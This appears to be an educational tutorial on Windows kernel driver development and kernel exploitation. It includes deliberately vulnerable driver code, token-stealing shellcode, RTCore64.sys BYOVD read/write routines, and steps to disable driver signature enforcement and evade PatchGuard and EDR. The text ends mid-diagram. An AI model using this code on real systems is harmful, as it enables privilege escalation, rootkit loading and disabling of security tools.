Windows Drivers & Kernel Exploitation: From Development to EDR Bypass
A comprehensive deep-dive into Windows kernel driver development, vulnerability classes, privilege escalation via token stealing, BYOVD attacks, and EDR callback neutralization — written for security researchers studying kernel exploitation.
Disclaimer: This content is written strictly for educational purposes, security research, and understanding defensive mechanisms. All techniques described are documented in public security research, CVE disclosures, and academic papers. Always work in isolated lab environments. Never apply these techniques on systems you do not own or have explicit written authorization to test.
1. Windows Architecture — Ring Levels and the Kernel Boundary
Before touching a single line of driver code, you need to deeply understand the privilege separation model Windows is built on.
1.1 Protection Rings
Modern x86-64 CPUs enforce four privilege levels (rings), but Windows uses only two in practice:
1
2
Ring 0 — Kernel Mode (ntoskrnl.exe, drivers, HAL)
Ring 3 — User Mode (applications, services, subsystems)
- Ring 0 (Kernel Mode): Complete access to hardware, physical memory, CPU registers (CR0, CR3, CR4, MSRs), interrupt descriptor tables (IDT), and all system structures. A crash here = Blue Screen of Death (BSOD).
- Ring 3 (User Mode): Restricted virtual address space, no direct hardware access. Every privileged operation requires a system call (syscall) to transition into Ring 0 via the
SYSCALLinstruction on x64.
1.2 The System Call Transition
When a user-mode application calls NtCreateFile, the execution chain looks like this:
1
2
3
4
5
6
Application
→ kernel32!CreateFileW
→ ntdll!NtCreateFile
→ SYSCALL instruction ← CPU switches to ring 0
→ nt!KiSystemCall64 ← kernel entry point
→ nt!NtCreateFile ← actual kernel implementation
The SSDT (System Service Descriptor Table) maps syscall numbers to their kernel function addresses. This table is a primary target for rootkits (and is protected by PatchGuard).
1.3 Key Kernel Structures
These structures are essential for exploitation research:
| Structure | Description |
|---|---|
_EPROCESS | Per-process kernel object — contains token, PEB pointer, image name |
_ETHREAD | Per-thread kernel object — contains APC queues, token |
_TOKEN | Security context of a process/thread — privileges, groups, integrity level |
_DRIVER_OBJECT | Represents a loaded driver — contains IRP dispatch table |
_DEVICE_OBJECT | Device created by a driver — userspace communicates through this |
_IRP | I/O Request Packet — the fundamental communication unit between layers |
_MDL | Memory Descriptor List — describes a buffer’s physical pages |
2. Windows Driver Development — Building from Zero
2.1 Types of Windows Drivers
| Type | Framework | Use Case |
|---|---|---|
| WDM (Windows Driver Model) | Raw kernel APIs | Legacy, maximum control |
| KMDF (Kernel-Mode Driver Framework) | WDF abstraction over WDM | Modern device drivers |
| UMDF (User-Mode Driver Framework) | User-mode, safer | USB, HID, non-critical hardware |
| File System Minifilters | Filter Manager | File system interception |
| Network Miniport/Callout | NDIS / WFP | Network traffic inspection |
For exploitation research, WDM drivers give you the most control and are closest to what malicious drivers use.
2.2 Environment Setup
Tools Required:
- Windows 10/11 VM (target) + Windows 10/11 VM (debugger host)
- Windows Driver Kit (WDK) — matched to your Windows SDK version
- Visual Studio 2022 with “Desktop development with C++” and “Windows Driver Kit” extension
- WinDbg Preview (from Microsoft Store) on the host machine
Target VM configuration (enable kernel debugging over network or serial):
1
2
3
4
5
6
7
8
9
# Enable kernel debugging over network (kdnet)
bcdedit /debug on
bcdedit /dbgsettings net hostip:192.168.1.100 port:50000 key:1.2.3.4
# Disable Driver Signature Enforcement (test mode) — for unsigned drivers
bcdedit /set testsigning on
# Or for single-boot session only:
# Press F8 at boot → "Disable Driver Signature Enforcement"
Attaching WinDbg (on host):
1
windbg -k net:port=50000,key=1.2.3.4
2.3 Hello World Kernel Driver (WDM)
This is the minimal skeleton every kernel driver must implement:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
// driver.c
#include <ntddk.h>
// Forward declarations
DRIVER_UNLOAD DriverUnload;
DRIVER_DISPATCH DriverCreateClose;
DRIVER_DISPATCH DriverDeviceControl;
#define DEVICE_NAME L"\\Device\\MyDriver"
#define SYMLINK_NAME L"\\DosDevices\\MyDriver"
// Custom IOCTL code
#define IOCTL_MY_HELLO CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING symLink = RTL_CONSTANT_STRING(SYMLINK_NAME);
IoDeleteSymbolicLink(&symLink);
IoDeleteDevice(DriverObject->DeviceObject);
KdPrint(("MyDriver: Unloaded\n"));
}
NTSTATUS DriverCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
UNREFERENCED_PARAMETER(DeviceObject);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
UNREFERENCED_PARAMETER(DeviceObject);
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
ULONG controlCode = stack->Parameters.DeviceIoControl.IoControlCode;
NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
ULONG_PTR information = 0;
switch (controlCode)
{
case IOCTL_MY_HELLO:
{
KdPrint(("MyDriver: Hello from kernel!\n"));
status = STATUS_SUCCESS;
break;
}
}
Irp->IoStatus.Status = status;
Irp->IoStatus.Information = information;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
NTSTATUS status;
UNICODE_STRING devName = RTL_CONSTANT_STRING(DEVICE_NAME);
UNICODE_STRING symLink = RTL_CONSTANT_STRING(SYMLINK_NAME);
PDEVICE_OBJECT deviceObject = NULL;
KdPrint(("MyDriver: DriverEntry called\n"));
// Create the device object
status = IoCreateDevice(
DriverObject,
0,
&devName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&deviceObject
);
if (!NT_SUCCESS(status)) return status;
// Create symbolic link accessible from user mode
status = IoCreateSymbolicLink(&symLink, &devName);
if (!NT_SUCCESS(status)) {
IoDeleteDevice(deviceObject);
return status;
}
// Register dispatch routines
DriverObject->DriverUnload = DriverUnload;
DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDeviceControl;
// Use buffered I/O for this device
deviceObject->Flags |= DO_BUFFERED_IO;
deviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
KdPrint(("MyDriver: Initialized successfully\n"));
return STATUS_SUCCESS;
}
User-mode client communicating with the driver:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// client.c
#include <windows.h>
#include <stdio.h>
#define IOCTL_MY_HELLO CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
int main() {
HANDLE hDevice = CreateFileW(
L"\\\\.\\MyDriver",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device: %lu\n", GetLastError());
return 1;
}
DWORD bytesReturned;
BOOL result = DeviceIoControl(
hDevice,
IOCTL_MY_HELLO,
NULL, 0, // input buffer
NULL, 0, // output buffer
&bytesReturned,
NULL
);
printf(result ? "[+] IOCTL succeeded\n" : "[-] IOCTL failed\n");
CloseHandle(hDevice);
return 0;
}
Loading the driver manually:
1
2
3
4
5
# As Administrator:
sc create MyDriver type= kernel start= demand binPath= C:\path\to\mydriver.sys
sc start MyDriver
sc stop MyDriver
sc delete MyDriver
2.4 IRP (I/O Request Packet) Deep Dive
Every I/O operation in Windows flows through IRPs. Understanding them is critical:
1
2
3
4
5
6
7
8
9
User-mode: DeviceIoControl()
↓
I/O Manager: Allocates IRP, sets IRP_MJ_DEVICE_CONTROL
↓
Driver's MajorFunction[IRP_MJ_DEVICE_CONTROL] dispatch routine
↓
Driver reads IoGetCurrentIrpStackLocation(Irp) to get parameters
↓
Driver calls IoCompleteRequest(Irp, IO_NO_INCREMENT) when done
Key IRP major function codes:
| Code | Triggered By |
|---|---|
IRP_MJ_CREATE | CreateFile() |
IRP_MJ_CLOSE | CloseHandle() |
IRP_MJ_READ | ReadFile() |
IRP_MJ_WRITE | WriteFile() |
IRP_MJ_DEVICE_CONTROL | DeviceIoControl() |
IRP_MJ_INTERNAL_DEVICE_CONTROL | Kernel-to-kernel only |
IRP_MJ_POWER | Power state changes |
IRP_MJ_PNP | Plug and Play events |
2.5 IOCTL Transfer Types
How data crosses the kernel/user-mode boundary matters:
| Method | How It Works | Risk |
|---|---|---|
METHOD_BUFFERED | I/O Manager copies to/from intermediate buffer at Irp->AssociatedIrp.SystemBuffer | Safest |
METHOD_IN_DIRECT | Input buffer is user buffer, output is MDL-locked kernel buffer | Medium |
METHOD_OUT_DIRECT | Output buffer is MDL-locked, readable from both sides | Medium |
METHOD_NEITHER | Raw user-mode pointers passed directly | Most dangerous — classic vulnerability source |
2.6 Kernel Memory Management
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Allocate non-paged pool (stays in physical RAM, safe for any IRQL)
PVOID buf = ExAllocatePool2(POOL_FLAG_NON_PAGED, 0x100, 'MyTg');
// Allocate paged pool (can be swapped out, only safe at IRQL <= APC_LEVEL)
PVOID buf2 = ExAllocatePool2(POOL_FLAG_PAGED, 0x100, 'MyTg');
// Free pool memory
ExFreePoolWithTag(buf, 'MyTg');
// Probe user-mode buffer before accessing (CRITICAL for security)
__try {
ProbeForRead(UserBuffer, Length, sizeof(UCHAR));
// or ProbeForWrite() if you write to it
RtlCopyMemory(KernelBuffer, UserBuffer, Length);
} __except (EXCEPTION_EXECUTE_HANDLER) {
status = GetExceptionCode();
}
2.7 Kernel Callbacks — The Security Framework Hooks
These are the same callbacks that EDRs use. Understanding them from a driver author’s perspective is crucial:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// Notify on every process creation/termination
NTSTATUS status = PsSetCreateProcessNotifyRoutineEx(MyProcessCallback, FALSE);
// Notify on thread creation/termination
PsSetCreateThreadNotifyRoutine(MyThreadCallback);
// Notify on image (PE) load into any process
PsSetLoadImageNotifyRoutine(MyLoadImageCallback);
// Intercept object handle operations (OpenProcess, OpenThread, etc.)
OB_CALLBACK_REGISTRATION obReg = { 0 };
OB_OPERATION_REGISTRATION opReg = { 0 };
opReg.ObjectType = PsProcessType;
opReg.Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
opReg.PreOperation = MyObjectPreCallback;
obReg.Version = OB_FLT_REGISTRATION_VERSION;
obReg.OperationRegistrationCount = 1;
obReg.OperationRegistration = &opReg;
RtlInitUnicodeString(&obReg.Altitude, L"321000");
ObRegisterCallbacks(&obReg, &CallbackHandle);
// Registry callbacks (intercept all registry operations)
LARGE_INTEGER cookie;
CmRegisterCallbackEx(MyRegistryCallback, &altitude, DriverObject, NULL, &cookie, NULL);
// File system minifilter callbacks
FLT_REGISTRATION filterReg = { 0 };
filterReg.Size = sizeof(FLT_REGISTRATION);
filterReg.Version = FLT_REGISTRATION_VERSION;
filterReg.OperationRegistration = FilterCallbacks;
FltRegisterFilter(DriverObject, &filterReg, &FilterHandle);
FltStartFiltering(FilterHandle);
3. Driver Vulnerability Classes
This is where development knowledge meets offensive research. Most real-world driver vulnerabilities fall into a handful of categories.
3.1 Arbitrary Kernel Memory Read/Write
The most powerful primitive. A driver exposes an IOCTL that lets userspace read or write arbitrary kernel virtual addresses.
Vulnerable pattern:
1
2
3
4
5
6
7
8
9
10
// DANGEROUS: No validation of user-supplied address
case IOCTL_WRITE_KERNEL_MEM:
{
PWRITE_REQUEST req = (PWRITE_REQUEST)Irp->AssociatedIrp.SystemBuffer;
// req->Address is a kernel VA supplied by the user ← VULNERABILITY
// req->Value is the 8-byte value to write
*(PULONG64)(req->Address) = req->Value; // arbitrary kernel write!
status = STATUS_SUCCESS;
break;
}
A real example: the MSI Afterburner driver (RTCore64.sys) exposed exactly this — you could read/write arbitrary kernel memory by supplying physical addresses through IOCTL.
Exploitation:
- User-mode code loads the vulnerable driver
- Sends crafted IOCTL with target kernel address + value
- Driver blindly writes to that address
- Attacker overwrites a token pointer → SYSTEM
3.2 IOCTL Buffer Overflow (Stack/Pool)
Occurs when the driver copies user-supplied data into a fixed-size kernel buffer without checking the size.
1
2
3
4
5
6
7
8
9
10
11
// DANGEROUS — stack buffer overflow in kernel
case IOCTL_PROCESS_DATA:
{
UCHAR kernelBuf[64]; // fixed 64-byte stack buffer
ULONG inputLen = stack->Parameters.DeviceIoControl.InputBufferLength;
// NO CHECK on inputLen!
RtlCopyMemory(kernelBuf,
Irp->AssociatedIrp.SystemBuffer,
inputLen); // overflow if inputLen > 64
break;
}
Stack overflows in kernel mode can corrupt the saved return address or local variables, leading to code execution. However, the kernel stack is small (~12-24KB on x64) and overflows often BSOD before they’re useful. Pool overflows are more commonly exploited in modern research.
3.3 NULL Pointer Dereference
When a driver fails to validate that a pointer is non-NULL before dereferencing it. On 32-bit Windows, the NULL page was mappable from user mode, making this trivially exploitable. On 64-bit Windows, NULL is non-mappable, so this mostly causes denial of service.
1
2
3
// Vulnerable: no NULL check on DeviceObject->DeviceExtension
PDEVICE_EXTENSION ext = DeviceObject->DeviceExtension;
ext->SomeField = 0x1337; // BSOD if ext is NULL
3.4 Use-After-Free (UAF)
A freed kernel object is accessed again. The freed memory may have been replaced by attacker-controlled data via pool spraying.
1
2
3
4
5
6
// UAF example
PVOID obj = ExAllocatePool2(POOL_FLAG_NON_PAGED, sizeof(MY_OBJ), 'Obj1');
// ... some code path frees it ...
ExFreePoolWithTag(obj, 'Obj1');
// ... later in a different code path ...
((PMY_OBJ)obj)->Callback(); // UAF: calling function pointer from freed memory
Pool spray: Fill the freed slot with a heap-sprayed object containing a fake vtable or controlled function pointer. When the freed object’s callback is triggered, execution redirects to your shellcode or ROP chain.
3.5 Race Conditions (TOCTOU)
Time-Of-Check-Time-Of-Use: the driver checks a condition, but between the check and use, an attacker on another thread changes the condition.
1
2
3
4
5
// TOCTOU: check happens, then attacker swaps buffer between check and copy
if (inputLength <= MAX_SIZE) { // ← Check: passes
// attacker thread remaps the user buffer here
RtlCopyMemory(kBuf, userBuf, inputLength); // ← Use: now inputLength > MAX_SIZE
}
The classic MmProbeAndLockPages mitigation (locking pages before use) prevents some of these, but logical TOCTOU bugs around state machines remain common.
3.6 TYPE_1 / METHOD_NEITHER IOCTLs
When a driver uses METHOD_NEITHER, the user-supplied Type3InputBuffer and output buffer pointers are passed raw into the kernel without any marshalling or probing. If the driver doesn’t manually call ProbeForRead/ProbeForWrite, a kernel pointer can be passed and written to.
1
2
3
4
5
6
7
8
9
10
// METHOD_NEITHER IOCTL — dangerous
case IOCTL_NEITHER_EXAMPLE:
{
PVOID inputBuf = stack->Parameters.DeviceIoControl.Type3InputBuffer;
PVOID outputBuf = Irp->UserBuffer;
// No ProbeForWrite(outputBuf, ...) called!
// Attacker can pass kernel address as outputBuf
*(PULONG64)outputBuf = sensitiveKernelValue; // kernel VA write!
break;
}
4. Privilege Escalation via Kernel Exploitation
4.1 The Token Stealing Technique
This is the most fundamental kernel exploitation payload. Every process has a _TOKEN structure in kernel memory. To escalate from low integrity to NT AUTHORITY\SYSTEM, you steal the token from the System process (PID 4).
Kernel structures involved:
1
2
3
4
5
6
_EPROCESS (e.g., offset 0x4B8 on Win10 21H2 x64):
+ 0x000 Pcb : _KPROCESS
+ 0x2E0 UniqueProcessId : Ptr64
+ 0x2E8 ActiveProcessLinks : _LIST_ENTRY ← doubly-linked list of all EPROCESS
+ 0x358 Token : _EX_FAST_REF ← security token (low 4 bits = ref count)
+ 0x450 ImageFileName : [15] UChar
Note: These offsets change between Windows builds. Always verify with WinDbg or the Vergilius Project.
Shellcode (x64 assembly) — Classic Token Steal:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
; Token stealing shellcode (x64)
; Assumes execution in Ring 0
[BITS 64]
token_steal:
; Get current EPROCESS via KPCR
; GS:[0x188] → KTHREAD → ApcState.Process → EPROCESS
mov rax, [gs:0x188] ; KPCR.PrcbData.CurrentThread (PKTHREAD)
mov rax, [rax + 0x70] ; KTHREAD.ApcState.Process (PKPROCESS = PEPROCESS)
mov rcx, rax ; save current EPROCESS
find_system:
; Walk ActiveProcessLinks to find System (PID 4)
mov rbx, [rax + 0x2E8] ; ActiveProcessLinks.Flink
sub rbx, 0x2E8 ; back to EPROCESS base
mov rdx, [rbx + 0x2E0] ; UniqueProcessId
cmp rdx, 4
jnz find_system
; rbx now points to System's EPROCESS
mov rdx, [rbx + 0x358] ; System's Token (_EX_FAST_REF)
and rdx, 0xFFFFFFFFFFFFFFF0 ; mask off low 4 ref-count bits → clean token pointer
mov [rcx + 0x358], rdx ; write System's token into our process's Token field
ret
From C via an arbitrary write primitive:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>
// These offsets are for Windows 10 21H2 x64 — verify for your build!
#define EPROCESS_TOKEN_OFFSET 0x358
#define EPROCESS_ACTIVE_PROCESS_LINKS 0x2E8
#define EPROCESS_UNIQUE_PROCESS_ID 0x2E0
// Assumes you have ArbitraryRead64 / ArbitraryWrite64 from your vulnerable driver
ULONG64 FindEPROCESSByPID(ULONG64 currentEPROCESS, DWORD targetPID)
{
ULONG64 flink = ArbitraryRead64(currentEPROCESS + EPROCESS_ACTIVE_PROCESS_LINKS);
ULONG64 eproc = flink - EPROCESS_ACTIVE_PROCESS_LINKS;
while (eproc != currentEPROCESS) {
DWORD pid = (DWORD)ArbitraryRead64(eproc + EPROCESS_UNIQUE_PROCESS_ID);
if (pid == targetPID) return eproc;
flink = ArbitraryRead64(eproc + EPROCESS_ACTIVE_PROCESS_LINKS);
eproc = flink - EPROCESS_ACTIVE_PROCESS_LINKS;
}
return 0;
}
void StealSystemToken(ULONG64 currentEPROCESS)
{
// Find System process (PID 4)
ULONG64 systemEPROCESS = FindEPROCESSByPID(currentEPROCESS, 4);
if (!systemEPROCESS) { printf("[-] Could not find System EPROCESS\n"); return; }
// Read System's token
ULONG64 systemToken = ArbitraryRead64(systemEPROCESS + EPROCESS_TOKEN_OFFSET);
systemToken &= ~0xFULL; // mask off _EX_FAST_REF bits
// Overwrite our process's token
ArbitraryWrite64(currentEPROCESS + EPROCESS_TOKEN_OFFSET, systemToken);
printf("[+] Token stolen from PID 4. We should now be SYSTEM.\n");
}
4.2 Token Privilege Escalation (Alternative)
Instead of replacing the entire token, you can enable disabled privileges in your existing token. This is subtler and less likely to destabilize the system.
The _TOKEN structure contains a Privileges field of type _SEP_TOKEN_PRIVILEGES:
1
2
3
4
_SEP_TOKEN_PRIVILEGES:
+ 0x000 Present : ULONGLONG ← bitmask of present privileges
+ 0x008 Enabled : ULONGLONG ← bitmask of enabled privileges
+ 0x010 EnabledByDefault : ULONGLONG
To enable SeDebugPrivilege (bit 20) and SeLoadDriverPrivilege (bit 10):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Find our token's _SEP_TOKEN_PRIVILEGES
ULONG64 tokenAddr = ArbitraryRead64(ourEPROCESS + EPROCESS_TOKEN_OFFSET);
tokenAddr &= ~0xFULL; // strip _EX_FAST_REF ref count bits
// TOKEN offsets (verify per-build with WinDbg: dt nt!_TOKEN)
#define TOKEN_PRIVILEGES_OFFSET 0x40 // example for Win10 21H2
ULONG64 privAddr = tokenAddr + TOKEN_PRIVILEGES_OFFSET;
// Read current enabled privileges
ULONG64 enabled = ArbitraryRead64(privAddr + 0x8);
// Enable SeDebugPrivilege (bit 20) and SeLoadDriverPrivilege (bit 10)
enabled |= (1ULL << 20) | (1ULL << 10);
ArbitraryWrite64(privAddr + 0x8, enabled); // write Enabled field
4.3 SMEP/SMAP Bypass
SMEP (Supervisor Mode Execution Prevention): CR4 bit 20. Prevents the kernel from executing code in user-mode pages. SMAP (Supervisor Mode Access Prevention): CR4 bit 21. Prevents the kernel from accessing user-mode data.
Classic bypass — if you have a kernel write-what-where, overwrite CR4 to clear SMEP:
1
2
3
4
5
; In your kernel shellcode/ROP chain
mov rax, cr4
and rax, ~(1 << 20) ; clear SMEP bit
mov cr4, rax
; Now kernel can execute user-mode shellcode
Modern approach: don’t use user-mode shellcode at all. Execute everything in kernel mode using ROP chains or by mapping your shellcode into non-paged kernel pool and jumping to it.
4.4 Kernel Address Space Layout — Finding KBASE
Before exploiting anything, you need to know where the kernel is loaded. On x64 Windows, KASLR randomizes the kernel base. Getting it from user mode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <windows.h>
#include <psapi.h>
ULONG_PTR GetKernelBase()
{
LPVOID drivers[1024];
DWORD cbNeeded;
// EnumDeviceDrivers returns kernel module bases
// Works from Medium integrity!
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
// First entry is always ntoskrnl.exe base
return (ULONG_PTR)drivers[0];
}
return 0;
}
Note:
EnumDeviceDriverscallsNtQuerySystemInformation(SystemModuleInformation)internally. This is accessible from Medium Integrity (standard user) — a well-known information disclosure that Microsoft has chosen not to fix.
Once you have KBASE, you can calculate the address of any exported kernel function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ULONG64 GetKernelExportRVA(const char* funcName)
{
HMODULE hNtoskrnl = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
ULONG64 rva = (ULONG64)GetProcAddress(hNtoskrnl, funcName) - (ULONG64)hNtoskrnl;
FreeLibrary(hNtoskrnl);
return rva;
}
ULONG64 GetKernelFunctionAddress(const char* funcName)
{
return GetKernelBase() + GetKernelExportRVA(funcName);
}
// Example:
ULONG64 PsLookupProcessByProcessId_addr =
GetKernelFunctionAddress("PsLookupProcessByProcessId");
5. BYOVD — Bring Your Own Vulnerable Driver
BYOVD is the dominant real-world technique used by threat actors, ransomware groups, and APTs to achieve kernel-level code execution without writing their own signed driver.
5.1 The Core Concept
Windows requires all kernel-mode drivers to be digitally signed by Microsoft (enforced by Driver Signature Enforcement, DSE). BYOVD circumvents this by using a legitimate, vendor-signed driver that happens to have a vulnerability providing arbitrary memory access.
Attack flow:
1
2
3
4
5
6
7
8
9
10
1. Attacker has Administrator privileges on target
2. Drops a known-vulnerable signed .sys file to disk
3. Registers + starts it as a kernel service (sc create / NtLoadDriver)
4. Sends IOCTL commands to exploit the vulnerability → gains arbitrary R/W
5. Uses that primitive to:
a. Steal SYSTEM token (privilege escalation)
b. Disable DSE (load unsigned drivers / rootkit)
c. Kill EDR driver callbacks (evade detection)
d. Load actual malicious driver (persistence + rootkit)
6. Optionally unloads the vulnerable driver (clean up evidence)
5.2 Famous Vulnerable Drivers
| Driver | CVE | Vulnerability | Used By |
|---|---|---|---|
capcom.sys | None (design flaw) | Intentionally disables SMEP + executes user shellcode | POCs, red teams |
RTCore64.sys (MSI Afterburner) | CVE-2019-16098 | Arbitrary physical memory R/W via IOCTL | Lazarus, BlackByte ransomware |
gdrv.sys (GIGABYTE) | CVE-2018-19320 | Arbitrary kernel memory R/W | Multiple ransomware groups |
dbutil_2_3.sys (Dell) | CVE-2021-21551 | Arbitrary memory R/W, code execution | Multiple APTs |
mhyprot2.sys (miHoYo anti-cheat) | None (design flaw) | Arbitrary process/memory operations | Kill AV processes from kernel |
iqvw64e.sys (Intel NIC) | CVE-2015-2291 | Arbitrary kernel memory R/W | GhostEmperor APT |
LOLDrivers database: loldrivers.io — an open catalog of vulnerable and malicious drivers.
5.3 Exploiting RTCore64.sys (CVE-2019-16098)
This driver exposed two dangerous IOCTLs: 0x80002048 (read) and 0x8000204C (write) for arbitrary physical memory access.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// RTCore64 structures
typedef struct _RTCORE64_MSR_READ {
DWORD Register;
DWORD ValueHigh;
DWORD ValueLow;
} RTCORE64_MSR_READ;
typedef struct _RTCORE64_MEMORY_READ {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[4];
DWORD ReadSize;
DWORD Value;
BYTE Pad2[16];
} RTCORE64_MEMORY_READ;
typedef struct _RTCORE64_MEMORY_WRITE {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[4];
DWORD ReadSize;
DWORD Value;
BYTE Pad2[16];
} RTCORE64_MEMORY_WRITE;
#define IOCTL_RTCORE_MEM_READ 0x80002048
#define IOCTL_RTCORE_MEM_WRITE 0x8000204C
DWORD RTCoreRead(HANDLE hDevice, DWORD64 address)
{
RTCORE64_MEMORY_READ req = { 0 };
req.Address = address;
req.ReadSize = 4;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_RTCORE_MEM_READ,
&req, sizeof(req), &req, sizeof(req),
&bytesReturned, NULL);
return req.Value;
}
void RTCoreWrite(HANDLE hDevice, DWORD64 address, DWORD value)
{
RTCORE64_MEMORY_WRITE req = { 0 };
req.Address = address;
req.ReadSize = 4;
req.Value = value;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_RTCORE_MEM_WRITE,
&req, sizeof(req), &req, sizeof(req),
&bytesReturned, NULL);
}
5.4 Disabling Driver Signature Enforcement (DSE)
Once you have arbitrary kernel write, you can disable DSE to load your own unsigned malicious driver. DSE is enforced by the g_CiEnabled variable (or CiOptions on newer Windows) in ci.dll.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Step 1: Find ci.dll base address
ULONG64 ciBase = GetModuleBase("ci.dll"); // via EnumDeviceDrivers
// Step 2: Find g_CiEnabled offset (varies per ci.dll version)
// Load ci.dll in user mode and scan for the pattern:
// "CiInitialize" accesses g_CiEnabled near its start
// OR: use a hardcoded offset for a specific Windows version
// Step 3: Disable DSE
ULONG64 gCiEnabledAddr = ciBase + g_CiEnabled_offset;
RTCoreWrite(hDevice, gCiEnabledAddr, 0x00); // disable
// Step 4: Load unsigned driver
ServiceInstallAndStart(L"evildriver", L"C:\\evil.sys");
// Step 5: Re-enable DSE (important — PatchGuard will trigger otherwise)
RTCoreWrite(hDevice, gCiEnabledAddr, 0x06); // re-enable
PatchGuard (KPP) note: Disabling DSE permanently causes PatchGuard to detect the modification and trigger a BSOD (bug check
0x109 CRITICAL_STRUCTURE_CORRUPTION). The window must be very short. Advanced techniques either properly re-enable DSE immediately or use PatchGuard bypass techniques first.
6. PatchGuard (Kernel Patch Protection)
PatchGuard (also called KPP — Kernel Patch Protection) is a Microsoft technology that periodically verifies the integrity of critical kernel structures. It was introduced in 64-bit Windows to prevent rootkits from hooking the kernel.
6.1 What PatchGuard Protects
- SSDT (System Service Descriptor Table) — no more SSDT hooks
- IDT (Interrupt Descriptor Table)
- GDT (Global Descriptor Table)
- MSRs (
LSTAR,CSTAR,SFMASK) — no more SYSCALL hooks - Critical code sections of ntoskrnl.exe, hal.dll, and other modules
_KPROCESSstructures and kernel stacks
When it detects tampering, it triggers bug check 0x109 and BSODs the machine.
6.2 How PatchGuard Works Internally
PatchGuard runs as a series of timer-based or DPC-based integrity checks:
- Copies of protected structures are saved at boot
- A randomized timer fires periodically (the interval is obfuscated)
- A check routine runs: it compares current state to the saved copy
- Mismatch →
KeBugCheckEx(CRITICAL_STRUCTURE_CORRUPTION, ...)
PatchGuard obfuscates its own code (encrypted with XOR keys derived from timing data) to make analysis harder.
6.3 PatchGuard Bypass Techniques
Technique 1: Race window / timing attack Disable a protected structure, do your work, and re-enable before PatchGuard checks. This works for DSE disable (as above) if done fast enough, but is not reliable for persistent hooks.
Technique 2: Patch PatchGuard itself (finding and disabling the checker) PatchGuard’s check DPC can be found in the kernel pool and manipulated. This is complex and version-dependent.
Technique 3: Interrupt hooking via synthetic IDT (IDT hook on a single CPU) Hook only on the CPU you need. Dangerous and timing-sensitive.
Technique 4: ByePg / Exception Hook approach A documented technique that hijacks exception handling (KiSystemCall64 exception path) rather than the SSDT. When an exception occurs during a syscall that matches your condition, your handler runs in Ring 0. Published as ByePg by can1357 in 2019.
Technique 5: PgC (2024 — Garbage Collecting PatchGuard) Published by can1357, this approach triggers PatchGuard’s own heap allocation to run your code, effectively making PatchGuard recycle its memory so its checks never execute.
Technique 6: VBS/Hypervisor-based bypass If you control a hypervisor (Type-1 or Type-2), PatchGuard can be bypassed because the hypervisor runs at a higher privilege level (VMX root mode, Ring -1). This is how hypervisor-based rootkits work.
7. EDR Architecture — How Security Products Work in the Kernel
To know how to bypass EDR, you must first understand exactly how it operates.
7.1 EDR Visibility Mechanisms
Modern EDRs collect telemetry through multiple layers:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌─────────────────────────────────────────────────────┐
│ USER MODE │
│ Process → IAT/inline hooks in DLLs │
│ (ntdll.dll) → ETW (Event Tracing for Windows) │
│ → AMSI (Antimalware Scan Interface)│
└────────────────────────┬────────────────────────────┘
│ syscall boundary
┌────────────────────────▼────────────────────────────┐
│ KERNEL MODE │
│ │
│ nt!PspCreateProcessNotifyRoutine[] ← process create│
│ nt!PspCreateThreadNotifyRoutine[] ← thread create │
